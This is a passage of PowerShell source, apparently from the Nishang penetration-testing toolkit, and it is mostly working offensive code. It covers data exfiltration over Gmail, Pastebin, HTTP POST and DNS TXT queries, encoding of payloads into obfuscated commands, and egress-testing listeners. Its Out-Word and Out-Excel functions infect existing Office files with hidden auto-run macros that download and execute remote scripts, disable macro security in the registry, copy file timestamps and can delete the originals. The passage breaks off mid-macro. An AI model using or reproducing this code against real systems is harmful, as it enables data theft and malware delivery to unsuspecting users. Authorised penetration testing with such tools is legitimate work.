3539The DomainName, whose subdomains would be used for sending TXT queries to.
3540.PARAMETER AuthNS
3541Authoritative Name Server for the domain specified in DomainName
3542.EXAMPLE
3543PS > Get-Information | Do-Exfiltration -ExfilOption gmail -username <> -Password <>
3544Use above command for data exfiltration to gmail
3545.EXAMPLE
3546PS > Get-Information | Do-Exfiltration -ExfilOption Webserver -URL http://192.168.254.183/catchpost.php
3547Use above command for data exfiltration to a webserver which logs POST requests.
3548.EXAMPLE
3549PS > Get-Information | Do-Exfiltration -ExfilOption DNS -DomainName example.com -AuthNS 192.168.254.228
3550Use above command for data exfiltration to a DNS server which logs TXT queries.
3551.LINK
3552http://labofapenetrationtester.com/
3553https://github.com/samratashok/nishang
3554#>
3555
3556 [CmdletBinding()] Param(
3557
3558 [Parameter(Position = 0, Mandatory = $True, ValueFromPipeLine = $True)]
3559 [String]
3560 $Data,
3561
3562 [Parameter(Position = 1, Mandatory = $True)] [ValidateSet("gmail","pastebin","WebServer","DNS")]
3563 [String]
3564 $ExfilOption,
3565
3566 [Parameter(Position = 2, Mandatory = $False)]
3567 [String]
3568 $dev_key,
3569
3570 [Parameter(Position = 3, Mandatory = $False)]
3571 [String]
3572 $username,
3573
3574 [Parameter(Position = 4, Mandatory = $False)]
3575 [String]
3576 $password,
3577
3578 [Parameter(Position = 5, Mandatory = $False)]
3579 [String]
3580 $URL,
3581
3582 [Parameter(Position = 6, Mandatory = $False)]
3583 [String]
3584 $DomainName,
3585
3586 [Parameter(Position = 7, Mandatory = $False)]
3587 [String]
3588 $AuthNS
3589 )
3590
3591 function post_http($url,$parameters)
3592 {
3593 $http_request = New-Object -ComObject Msxml2.XMLHTTP
3594 $http_request.open("POST", $url, $false)
3595 $http_request.setRequestHeader("Content-type","application/x-www-form-urlencoded")
3596 $http_request.setRequestHeader("Content-length", $parameters.length);
3597 $http_request.setRequestHeader("Connection", "close")
3598 $http_request.send($parameters)
3599 $script:session_key=$http_request.responseText
3600 }
3601
3602 function Compress-Encode
3603 {
3604 #Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
3605 $ms = New-Object IO.MemoryStream
3606 $action = [IO.Compression.CompressionMode]::Compress
3607 $cs = New-Object IO.Compression.DeflateStream ($ms,$action)
3608 $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
3609 $Data | ForEach-Object {$sw.WriteLine($_)}
3610 $sw.Close()
3611 $Compressed = [Convert]::ToBase64String($ms.ToArray())
3612 return $Compressed
3613 }
3614
3615 if ($exfiloption -eq "pastebin")
3616 {
3617 $utfbytes = [System.Text.Encoding]::UTF8.GetBytes($Data)
3618 $pastevalue = [System.Convert]::ToBase64String($utfbytes)
3619 $pastename = "Exfiltrated Data"
3620 post_http "https://pastebin.com/api/api_login.php" "api_dev_key=$dev_key&api_user_name=$username&api_user_password=$password"
3621 post_http "https://pastebin.com/api/api_post.php" "api_user_key=$session_key&api_option=paste&api_dev_key=$dev_key&api_paste_name=$pastename&api_paste_code=$pastevalue&api_paste_private=2"
3622 }
3623
3624 elseif ($exfiloption -eq "gmail")
3625 {
3626 #http://stackoverflow.com/questions/1252335/send-mail-via-gmail-with-powershell-v2s-send-mailmessage
3627 $smtpserver = “smtp.gmail.comâ€
3628 $msg = new-object Net.Mail.MailMessage
3629 $smtp = new-object Net.Mail.SmtpClient($smtpServer )
3630 $smtp.EnableSsl = $True
3631 $smtp.Credentials = New-Object System.Net.NetworkCredential("$username", "$password");
3632 $msg.From = "$username@gmail.com"
3633 $msg.To.Add("$username@gmail.com")
3634 $msg.Subject = "Exfiltrated Data"
3635 $msg.Body = $Data
3636 if ($filename)
3637 {
3638 $att = new-object Net.Mail.Attachment($filename)
3639 $msg.Attachments.Add($att)
3640 }
3641 $smtp.Send($msg)
3642 }
3643
3644 elseif ($exfiloption -eq "webserver")
3645 {
3646 $Data = Compress-Encode
3647 post_http $URL $Data
3648 }
3649 elseif ($ExfilOption -eq "DNS")
3650 {
3651 $code = Compress-Encode
3652 $queries = [int]($code.Length/63)
3653 while ($queries -ne 0)
3654 {
3655 $querystring = $code.Substring($lengthofsubstr,63)
3656 Invoke-Expression "nslookup -querytype=txt $querystring.$DomainName $AuthNS"
3657 $lengthofsubstr += 63
3658 $queries -= 1
3659 }
3660 $mod = $code.Length%63
3661 $query = $code.Substring($code.Length - $mod, $mod)
3662 Invoke-Expression "nslookup -querytype=txt $query.$DomainName $AuthNS"
3663
3664 }
3665
3666}
3667
3668################################################Compress and Encode scripts and strings###############################
3669function Invoke-Encode
3670{
3671<#
3672.SYNOPSIS
3673Script for Nishang to encode and compress plain data.
3674.DESCRIPTION
3675The script asks for a path to a plain file, encodes it and writes to a file "encoded.txt" in the current working directory.
3676If the switch -OutCommand is used. An encoded command which could be executed on a non-powershell console is also generated.
3677The encoded command is useful in case of non-interactive shells like webshell or when special characters in scripts may
3678create problems, for example, a meterpreter session.
3679.PARAMETER DataToEncode
3680The path of the file to be decoded. Use with -IsString to enter a string.
3681.PARAMETER OutputFilePath
3682The path of the output file. Default is "encoded.txt" in the current working directory.
3683.PARAMETER OutputCommandFilePath
3684The path of the output file where encoded command would be written. Default is "encodedcommand.txt" in the current working directory.
3685.PARAMETER IsString
3686Use this to specify if you are passing a string ins place of a filepath.
3687.PARAMETER OutCommand
3688Generate an encoded command which could be used with -EncodedCommand parameter of PowerShell.
3689.PARAMETER PostScriptCommand
3690Generate a PowerShell command which is much smaller than encoded scripts. Useful in scenrios where
3691longer commands or scripts could not be used.
3692.EXAMPLE
3693PS > Invoke-Encode -DataToEncode C:\scripts\data.txt
3694Use above command to generate encoded data which could be Decoded using the Invoke-Decode script.
3695PS > Invoke-Encode -DataToEncode C:\scripts\evil.ps1 -OutCommand
3696Use above command to generate encoded data and encoded command which could be used on a non-powershell console.
3697Use powershell -EncodedCommand <generated code here>
3698.EXAMPLE
3699PS > Invoke-Encode "A Secret message" -IsString
3700Use above to encode a string.
3701.EXAMPLE
3702PS > Invoke-Encode Get-Process -IsString -OutCommand
3703Use above to encode a command.
3704.LINK
3705http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
3706https://github.com/samratashok/nishang
3707#>
3708 [CmdletBinding()] Param(
3709 [Parameter(Position = 0, Mandatory = $True)]
3710 [String]
3711 $DataToEncode,
3712
3713 [Parameter(Position = 1, Mandatory = $False)]
3714 [String]
3715 $OutputFilePath = ".\encoded.txt",
3716
3717 [Parameter(Position = 2, Mandatory = $False)]
3718 [String]
3719 $OutputCommandFilePath = ".\encodedcommand.txt",
3720
3721 [Switch]
3722 $OutCommand,
3723
3724 [Switch]
3725 $IsString,
3726
3727 [Switch]
3728 $PostScriptCommand
3729
3730 )
3731 if($IsString -eq $true)
3732 {
3733
3734 $Enc = $DataToEncode
3735
3736 }
3737 else
3738 {
3739 $Enc = Get-Content $DataToEncode -Encoding Ascii
3740 }
3741
3742
3743 #Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
3744 $ms = New-Object IO.MemoryStream
3745 $action = [IO.Compression.CompressionMode]::Compress
3746 $cs = New-Object IO.Compression.DeflateStream ($ms,$action)
3747 $sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
3748 $Enc | ForEach-Object {$sw.WriteLine($_)}
3749 $sw.Close()
3750
3751 # Base64 encode stream
3752 $Compressed = [Convert]::ToBase64String($ms.ToArray())
3753 Out-File -InputObject $Compressed -FilePath $OutputFilePath
3754 Write-Output "Encoded data written to $OutputFilePath"
3755
3756 if (($OutCommand -eq $True) -or ($PostScriptCommand -eq $True))
3757 {
3758 #http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
3759 $command = "Invoke-Expression `$(New-Object IO.StreamReader (" +
3760
3761 "`$(New-Object IO.Compression.DeflateStream (" +
3762
3763 "`$(New-Object IO.MemoryStream (,"+
3764
3765 "`$([Convert]::FromBase64String('$Compressed')))), " +
3766
3767 "[IO.Compression.CompressionMode]::Decompress)),"+
3768
3769 " [Text.Encoding]::ASCII)).ReadToEnd();"
3770
3771 #Generate Base64 encoded command to use with the powershell -encodedcommand paramter"
3772 $UnicodeEncoder = New-Object System.Text.UnicodeEncoding
3773 $EncScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($command))
3774 #Check for max. length supported by Windows. If the base64 encoded command is longer use the other one.
3775 if (($EncScript.Length -gt 8190) -or ($PostScriptCommand -eq $True))
3776 {
3777 Out-File -InputObject $command -FilePath $OutputCommandFilePath
3778 Write-Output "Encoded command written to $OutputCommandFilePath"
3779 }
3780 else
3781 {
3782 Out-File -InputObject $EncScript -FilePath $OutputCommandFilePath
3783 Write-Output "Encoded command written to $OutputCommandFilePath"
3784 }
3785 }
3786}
3787
3788################################################Decode scripts and strings encoded by Invoke-Encode###############################
3789
3790function Invoke-Decode
3791{
3792<#
3793.SYNOPSIS
3794Script for Nishang to decode the data encoded by Invoke-Encode, DNS TXT and POST exfiltration methods.
3795.DESCRIPTION
3796The script asks for an encoded string as an option, decodes it and writes to a file "decoded.txt" in the current working directory.
3797Both the encoding and decoding is based on the code by ikarstein.
3798.PARAMETER EncodedData
3799The path of the file to be decoded. Use with -IsString to enter a string.
3800.PARAMETER OutputFilePath
3801The path of the output file. Default is "decoded.txt" in the current working directory.
3802.PARAMETER IsString
3803Use this to specify if you are passing a string ins place of a filepath.
3804.EXAMPLE
3805PS > Invoke-Decode -EncodedData C:\files\encoded.txt
3806.EXAMPLE
3807PS > Invoke-Decode c08t0Q0oyk9OLS7m5QIA -IsString
3808Use above to decode a string.
3809.LINK
3810http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
3811https://github.com/samratashok/nishang
3812#>
3813 [CmdletBinding()] Param(
3814 [Parameter(Position = 0, Mandatory = $True)]
3815 [String]
3816 $EncodedData,
3817
3818 [Parameter(Position = 1, Mandatory = $False)]
3819 [String]
3820 $OutputFilePath = ".\decoded.txt",
3821
3822 [Switch]
3823 $IsString
3824 )
3825
3826 if($IsString -eq $true)
3827 {
3828
3829 $data = $EncodedData
3830
3831 }
3832 else
3833 {
3834 $data = Get-Content $EncodedData -Encoding UTF8
3835 }
3836 $dec = [System.Convert]::FromBase64String($data)
3837 $ms = New-Object System.IO.MemoryStream
3838 $ms.Write($dec, 0, $dec.Length)
3839 $ms.Seek(0,0) | Out-Null
3840 $cs = New-Object System.IO.Compression.DeflateStream ($ms, [System.IO.Compression.CompressionMode]::Decompress)
3841 $sr = New-Object System.IO.StreamReader($cs)
3842 $output = $sr.readtoend()
3843 Out-File -InputObject $output -FilePath $OutputFilePath
3844 Write-Host "Decode data written to $OutputFilePath"
3845}
3846
3847############################################### Listener for Egress testing #############################################################
3848<#
3849.SYNOPSIS
3850FireListener is a functions that does egress testing. It is to be run on the attacking/listening machine.
3851.DESCRIPTION
3852FireListener hosts a listening server to which FireBuster can send packets to. Firebuster is to be run on the target machine which is to
3853be tested for egress filtering.
3854.EXAMPLE
3855PS > FireListener -portrange 1000-1020
3856.LINK
3857http://www.labofapenetrationtester.com/2014/04/egress-testing-using-powershell.html
3858https://github.com/samratashok/nishang
3859http://roo7break.co.uk
3860.NOTES
3861Based on the script written by Nikhil ShreeKumar (@roo7break)
3862#>
3863
3864
3865function FireListener
3866{
3867 Param(
3868 [Parameter(Position = 0, Mandatory = $True)]
3869 [String]
3870 $PortRange
3871 )
3872
3873 $ErrorActionPreference = 'SilentlyContinue'
3874 #Code which opens a socket for each port
3875 $socketblock = {
3876 param($port = $args[1])
3877 try
3878 {
3879
3880 $EndPoint = New-Object System.Net.IPEndPoint([ipaddress]::any, $port)
3881 $ListenSocket = New-Object System.Net.Sockets.TCPListener $EndPoint
3882 $ListenSocket.Start()
3883 $RecData = $ListenSocket.AcceptTCPClient()
3884 $clientip = $RecData.Client.RemoteEndPoint.Address.ToString()
3885 $clientport = $RecData.Client.LocalEndPoint.Port.ToString()
3886 Write-Host "$clientip connected through port $clientport" -ForegroundColor Green
3887 $Stream.Close()
3888 $ListenSocket.Stop()
3889 } catch
3890 { Write-Error $Error[0] }
3891 }
3892
3893 [int] $lowport = $portrange.split("-")[0]
3894 [int] $highport = $portrange.split("-")[1]
3895 [int] $ports = 0
3896 Get-Job | Remove-Job
3897
3898 #Start a job for each port
3899 for($ports=$lowport; $ports -le $highport; $ports++)
3900 {
3901 "Listening on port $ports"
3902 $job = start-job -ScriptBlock $socketblock -ArgumentList $ports -Name $ports
3903 }
3904
3905
3906 [console]::TreatControlCAsInput = $true
3907 while ($true)
3908 {
3909 # code from http://poshcode.org/542 to capture Ctrl+C
3910 # start code snip
3911 if ($Host.UI.RawUI.KeyAvailable -and (3 -eq [int]$Host.UI.RawUI.ReadKey("AllowCtrlC,IncludeKeyUp,NoEcho").Character))
3912 {
3913 Write-Host "Stopping all jobs.....This can take many minutes." -Background DarkRed
3914 Sleep 2
3915 Get-Job | Stop-Job
3916 Get-Job | Remove-Job
3917 #Stop-Process -Id $PID
3918 break;
3919 }
3920 # end code snip
3921
3922
3923 #Start a new job which listens on the same port for every completed job.
3924 foreach ($job1 in (Get-Job))
3925 {
3926 Start-Sleep -Seconds 4
3927 Get-Job | Receive-Job
3928 if ($job1.State -eq "Completed")
3929 {
3930 $port = $job1.Name
3931 "Listening on port $port"
3932 $newjobs = start-job -ScriptBlock $socketblock -ArgumentList $port -Name $port
3933 Get-Job | Remove-Job
3934 }
3935 }
3936 }
3937}
3938
3939################################################## Connector for Egress Testing ##########################################################
3940
3941function FireBuster{
3942
3943<#
3944.SYNOPSIS
3945This script is part of Nishang. FireBuster is a PowerShell script that does egress testing. It is to be run on the target machine.
3946.DESCRIPTION
3947FireBuster sends packets to FireListener, which hosts a listening server. By default, FireBuster sends packets to all ports (which could be VERY slow).
3948.EXAMPLE
3949PS> FireBuster 10.10.10.10 1000-1020
3950.EXAMPLE
3951PS> FireBuster 10.10.10.10 1000-1020 -Verbose
3952Use above for increased verbosity.
3953.LINK
3954http://www.labofapenetrationtester.com/2014/04/egress-testing-using-powershell.html
3955https://github.com/samratashok/nishang
3956http://roo7break.co.uk
3957.NOTES
3958Major part of the script is written by Nikhil ShreeKumar (@roo7break)
3959#>
3960
3961 [CmdletBinding()] Param(
3962 [Parameter(Position = 0, Mandatory = $True)]
3963 [String]
3964 $targetip = $(throw "Please specify an EndPoint (Host or IP Address)"),
3965
3966 [Parameter(Position = 1, Mandatory = $False)]
3967 [String] $portrange = "1-65535"
3968 )
3969
3970 $ErrorActionPreference = 'SilentlyContinue'
3971 [int] $lowport = $portrange.split("-")[0]
3972 [int] $highport = $portrange.split("-")[1]
3973
3974 $hostaddr = [system.net.IPAddress]::Parse($targetip)
3975 Write-Verbose "Trying to connect to $hostaddr from $lowport to $highport"
3976 [int] $ports = 0
3977 Write-Host "Sending...."
3978 for($ports=$lowport; $ports -le $highport ; $ports++){
3979 try{
3980 Write-Verbose "Trying port $ports"
3981 $client = New-Object System.Net.Sockets.TcpClient
3982 $beginConnect = $client.BeginConnect($hostaddr,$ports,$null,$null)
3983 $TimeOut = 300
3984 if($client.Connected)
3985 {
3986 Write-Host "Connected to port $ports" -ForegroundColor Green
3987 }
3988 else
3989 {
3990 Start-Sleep -Milli $TimeOut
3991 if($client.Connected)
3992 {
3993 Write-Host "Connected to port $ports" -ForegroundColor Green
3994 }
3995 }
3996 $client.Close()
3997 }catch { Write-Error $Error[0]}
3998 }
3999 Write-Host "Data sent to all ports"
4000}
4001
4002##################################Client Side Attack functions######################################
4003#######################################Out-Word#############################################
4004function Out-Word
4005{
4006<#
4007.SYNOPSIS
4008Nishang Script which can generate and "infect" existing word files with an auto executable macro.
4009.DESCRIPTION
4010The script can create as well as "infect" existing word files with an auto executable macro. Powershell payloads
4011could be exeucted using the genereated files. If a folder is passed to the script it can insert macro in all existing word
4012files in the folder. With the Recurse switch, sub-folders can also be included.
4013For existing files, a new macro enabled doc file is generated from a docx file and for existing .doc files, the macro code is inserted.
4014LastWriteTime of the docx file is set to the newly generated doc file. If the RemoveDocx switch is enabled, the
4015original docx is removed and the data in it is lost.
4016.PARAMETER Payload
4017Payload which you want execute on the target.
4018.PARAMETER PayloadURL
4019URL of the powershell script which would be executed on the target.
4020.PARAMETER Arguments
4021Arguments to the powershell script to be executed on the target.
4022.PARAMETER WordFileDir
4023The directory which contains MS Word files which are to be "infected".
4024.PARAMETER OutputFile
4025The path for the output Word file. Default is Salary_Details.doc in the current directory.
4026.PARAMETER Recurse
4027Recursively look for Word files in the WordFileDir
4028.PARAMETER RemoveDocx
4029When using the WordFileDir to "infect" files in a directory, remove the original ones after creating the infected ones.
4030.PARAMETER RemainSafe
4031Use this switch to turn on Macro Security on your machine after using Out-Word.
4032.EXAMPLE
4033PS > Out-Word -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process"
4034Use above command to provide your own payload to be executed from macro. A file named "Salary_Details.doc" would be generated
4035in the current directory.
4036.EXAMPLE
4037PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1
4038Use above when you want to use the default payload, which is a powershell download and execute one-liner. A file
4039named "Salary_Details.doc" would be generated in user's temp directory.
4040.EXAMPLE
4041PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -Arguments Evil
4042Use above when you want to use the default payload, which is a powershell download and execute one-liner.
4043The Arugment parameter allows to pass arguments to the downloaded script.
4044.EXAMPLE
4045PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -OutputFile C:\docfiles\Generated.doc
4046In above, the output file would be saved to the given path.
4047.EXAMPLE
4048PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -WordFileDir C:\docfiles\
4049In above, in the C:\docfiles directory, macro enabled .doc files would be created for all the .docx files, with the same name
4050and same Last MOdified Time.
4051.EXAMPLE
4052PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -WordFileDir C:\docfiles\ -Recurse
4053The above command would search recursively for .docx files in C:\docfiles.
4054.EXAMPLE
4055PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -WordFileDir C:\docfiles\ -Recurse -RemoveDocx
4056The above command would search recursively for .docx files in C:\docfiles, generate macro enabled .doc files and
4057delete the original files.
4058.EXAMPLE
4059PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -RemainSafe
4060Out-Word turns off Macro Security. Use -RemainSafe to turn it back on.
4061.LINK
4062http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
4063https://github.com/samratashok/nishang
4064#>
4065
4066 [CmdletBinding()] Param(
4067
4068 [Parameter(Position=0, Mandatory = $False)]
4069 [String]
4070 $Payload,
4071
4072 [Parameter(Position=1, Mandatory = $False)]
4073 [String]
4074 $PayloadURL,
4075
4076 [Parameter(Position=2, Mandatory = $False)]
4077 [String]
4078 $Arguments,
4079
4080 [Parameter(Position=3, Mandatory = $False)]
4081 [String]
4082 $WordFileDir,
4083
4084 [Parameter(Position=4, Mandatory = $False)]
4085 [String]
4086 $OutputFile="$pwd\Salary_Details.doc",
4087
4088
4089 [Parameter(Position=5, Mandatory = $False)]
4090 [Switch]
4091 $Recurse,
4092
4093 [Parameter(Position=6, Mandatory = $False)]
4094 [Switch]
4095 $RemoveDocx,
4096
4097 [Parameter(Position=7, Mandatory = $False)]
4098 [Switch]
4099 $RemainSafe
4100 )
4101
4102 $Word = New-Object -ComObject Word.Application
4103 $WordVersion = $Word.Version
4104
4105 #Check for Office 2007 or Office 2003
4106 if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0"))
4107 {
4108 $Word.DisplayAlerts = $False
4109 }
4110 else
4111 {
4112 $Word.DisplayAlerts = "wdAlertsNone"
4113 }
4114 #Turn off Macro Security
4115 New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name AccessVBOM -Value 1 -PropertyType DWORD -Force | Out-Null
4116 New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name VBAWarnings -Value 1 -PropertyType DWORD -Force | Out-Null
4117
4118 if(!$Payload)
4119 {
4120 $Payload = "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
4121 }
4122 #Macro Code
4123 #Macro code from here http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/
4124 $code = @"
4125 Sub Document_Open()
4126 Execute
4127 End Sub
4128 Public Function Execute() As Variant
4129 Const HIDDEN_WINDOW = 0
4130 strComputer = "."
4131 Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
4132
4133 Set objStartup = objWMIService.Get("Win32_ProcessStartup")
4134 Set objConfig = objStartup.SpawnInstance_
4135 objConfig.ShowWindow = HIDDEN_WINDOW
4136 Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
4137 objProcess.Create "$Payload", Null, objConfig, intProcessID
4138 End Function
4139"@
4140
4141
4142 if ($WordFileDir)
4143 {
4144 $WordFiles = Get-ChildItem $WordFileDir\* -Include *.doc,*.docx
4145 if ($Recurse -eq $True)
4146 {
4147 $WordFiles = Get-ChildItem -Recurse $WordFileDir\* -Include *.doc,*.docx
4148 }
4149 ForEach ($WordFile in $WordFiles)
4150 {
4151 $Word = New-Object -ComObject Word.Application
4152 $Word.DisplayAlerts = $False
4153 $Doc = $Word.Documents.Open($WordFile.FullName)
4154 $DocModule = $Doc.VBProject.VBComponents.Item(1)
4155 $DocModule.CodeModule.AddFromString($code)
4156 if ($WordFile.Extension -eq ".doc")
4157 {
4158 $Savepath = $WordFile.FullName
4159 }
4160 $Savepath = $WordFile.DirectoryName + "\" + $Wordfile.BaseName + ".doc"
4161 #Append .doc to the original file name if file extensions are hidden for known file types.
4162 if ((Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced).HideFileExt -eq "1")
4163 {
4164 $Savepath = $WordFile.FullName + ".doc"
4165 }
4166 if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0"))
4167 {
4168 $Doc.Saveas($SavePath, 0)
4169 }
4170 else
4171 {
4172 $Doc.Saveas([ref]$SavePath, 0)
4173 }
4174 Write-Output "Saved to file $SavePath"
4175 $Doc.Close()
4176 $LastModifyTime = $WordFile.LastWriteTime
4177 $FinalDoc = Get-ChildItem $Savepath
4178 $FinalDoc.LastWriteTime = $LastModifyTime
4179 if ($RemoveDocx -eq $True)
4180 {
4181 Write-Output "Deleting $($WordFile.FullName)"
4182 Remove-Item -Path $WordFile.FullName
4183 }
4184 $Word.quit()
4185 [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Word)
4186 }
4187 }
4188 else
4189 {
4190 $Doc = $Word.documents.add()
4191 $DocModule = $Doc.VBProject.VBComponents.Item(1)
4192 $DocModule.CodeModule.AddFromString($code)
4193 if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0"))
4194 {
4195 $Doc.Saveas($OutputFile, 0)
4196 }
4197 else
4198 {
4199 $Doc.Saveas([ref]$OutputFile, [ref]0)
4200 }
4201 Write-Output "Saved to file $OutputFile"
4202 $Doc.Close()
4203 $Word.quit()
4204 [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Word)
4205 }
4206
4207 if ($RemainSafe -eq $True)
4208 {
4209 #Turn on Macro Security
4210 New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name AccessVBOM -Value 0 -Force | Out-Null
4211 New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name VBAWarnings -Value 0 -Force | Out-Null
4212 }
4213}
4214
4215#######################################Out-Excel#############################################
4216
4217function Out-Excel
4218{
4219
4220<#
4221.SYNOPSIS
4222Nishang Script which can generate and "infect" existing excel files with an auto executable macro.
4223.DESCRIPTION
4224The script can create as well as "infect" existing excel files with an auto executable macro. Powershell payloads
4225could be exeucted using the genereated files. If a folder is passed to the script it can insert macro in all existing excrl
4226files in the folder. With the Recurse switch, sub-folders can also be included.
4227For existing files, a new macro enabled xls file is generated from a xlsx file and for existing .xls files, the macro code is inserted.
4228LastWriteTime of the xlsx file is set to the newly generated xls file. If the RemoveXlsx switch is enabled, the
4229original xlsx is removed and the data in it is lost.
4230.PARAMETER Payload
4231Payload which you want execute on the target.
4232.PARAMETER PayloadURL
4233URL of the powershell script which would be executed on the target.
4234.PARAMETER Arguments
4235Arguments to the powershell script to be executed on the target.
4236.PARAMETER ExcelFileDir
4237The directory which contains MS Excel files which are to be "infected".
4238.PARAMETER OutputFile
4239The path for the output Excel file. Default is Salary_Details.xls in the current directory.
4240.PARAMETER Recurse
4241Recursively look for Excel files in the ExcelFileDir
4242.PARAMETER RemoveXlsx
4243When using the ExcelFileDir to "infect" files in a directory, remove the original ones after creating the infected ones.
4244.PARAMETER RemainSafe
4245Use this switch to turn on Macro Security on your machine after using Out-Excel.
4246.EXAMPLE
4247PS > Out-Excel -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process"
4248Use above command to provide your own payload to be executed from macro. A file named "Salary_Details.xls" would be generated
4249in user's temp directory.
4250.EXAMPLE
4251PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1
4252Use above when you want to use the default payload, which is a powershell download and execute one-liner. A file
4253named "Salary_Details.xls" would be generated in user's temp directory.
4254.EXAMPLE
4255PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -Arguments
4256Use above when you want to use the default payload, which is a powershell download and execute one-liner.
4257The Arugment parameter allows to pass arguments to the downloaded script.
4258.EXAMPLE
4259PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -OutputFile C:\xlsfiles\Generated.xls
4260In above, the output file would be saved to the given path.
4261.EXAMPLE
4262PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -ExcelFileDir C:\xlsfiles\
4263In above, in the C:\xlsfiles directory, macro enabled .xls files would be created for all the .xlsx files, with the same name
4264and same Last MOdified Time.
4265.EXAMPLE
4266PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -ExcelFileDir C:\xlsfiles\ -Recurse
4267The above command would search recursively for .xlsx files in C:\xlsfiles.
4268.EXAMPLE
4269PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -ExcelFileDir C:\xlsfiles\ -Recurse -RemoveXlsx
4270The above command would search recursively for .xlsx files in C:\xlsfiles, generate macro enabled .xls files and
4271delete the original files.
4272.EXAMPLE
4273PS > Out-Excel -PayloadURL http://yourwebserver.com/evil.ps1 -RemainSafe
4274Out-Excel turns off Macro Security. Use -RemainSafe to turn it back on.
4275.LINK
4276http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
4277https://github.com/samratashok/nishang
4278#>
4279
4280
4281 [CmdletBinding()] Param(
4282
4283 [Parameter(Position=0, Mandatory = $False)]
4284 [String]
4285 $Payload,
4286
4287 [Parameter(Position=1, Mandatory = $False)]
4288 [String]
4289 $PayloadURL,
4290
4291 [Parameter(Position=2, Mandatory = $False)]
4292 [String]
4293 $Arguments,
4294
4295 [Parameter(Position=3, Mandatory = $False)]
4296 [String]
4297 $ExcelFileDir,
4298
4299 [Parameter(Position=4, Mandatory = $False)]
4300 [String]
4301 $OutputFile="$pwd\Salary_Details.xls",
4302
4303
4304 [Parameter(Position=5, Mandatory = $False)]
4305 [Switch]
4306 $Recurse,
4307
4308 [Parameter(Position=6, Mandatory = $False)]
4309 [Switch]
4310 $RemoveXlsx,
4311
4312 [Parameter(Position=7, Mandatory = $False)]
4313 [Switch]
4314 $RemainSafe
4315 )
4316
4317 #http://stackoverflow.com/questions/21278760/how-to-add-vba-code-in-excel-worksheet-in-powershell
4318 $Excel = New-Object -ComObject Excel.Application
4319 $ExcelVersion = $Excel.Version
4320 #Check for Office 2007 or Office 2003
4321 if (($ExcelVersion -eq "12.0") -or ($ExcelVersion -eq "11.0"))
4322 {
4323 $Excel.DisplayAlerts = $False
4324 }
4325 else
4326 {
4327 $Excel.DisplayAlerts = "wdAlertsNone"
4328 }
4329 #Turn off Macro Security
4330 New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\excel\Security" -Name AccessVBOM -PropertyType DWORD -Value 1 -Force | Out-Null
4331 New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$ExcelVersion\excel\Security" -Name VBAWarnings -PropertyType DWORD -Value 1 -Force | Out-Null
4332
4333 if(!$Payload)
4334 {
4335 $Payload = "powershell.exe -ExecutionPolicy Bypass -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
4336 }
4337 #Macro Code
4338 #Macro code from here http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/
4339 $CodeAuto = @"
4340 Sub Auto_Open()
4341 Execute
4342 End Sub
4343 Public Function Execute() As Variant
4344 Const HIDDEN_WINDOW = 0
4345 strComputer = "."
4346 Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
4347
4348 Set objStartup = objWMIService.Get("Win32_ProcessStartup")
4349 Set objConfig = objStartup.SpawnInstance_
4350 objConfig.ShowWindow = HIDDEN_WINDOW
4351 Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
4352 objProcess.Create "$Payload", Null, objConfig, intProcessID
4353 End Function
4354"@
4355
4356 $CodeWorkbook = @"
4357 Sub Workbook_Open()
4358 Execute
4359 End Sub
4360 Public Function Execute() As Variant
4361 Const HIDDEN_WINDOW = 0
4362 strComputer = "."
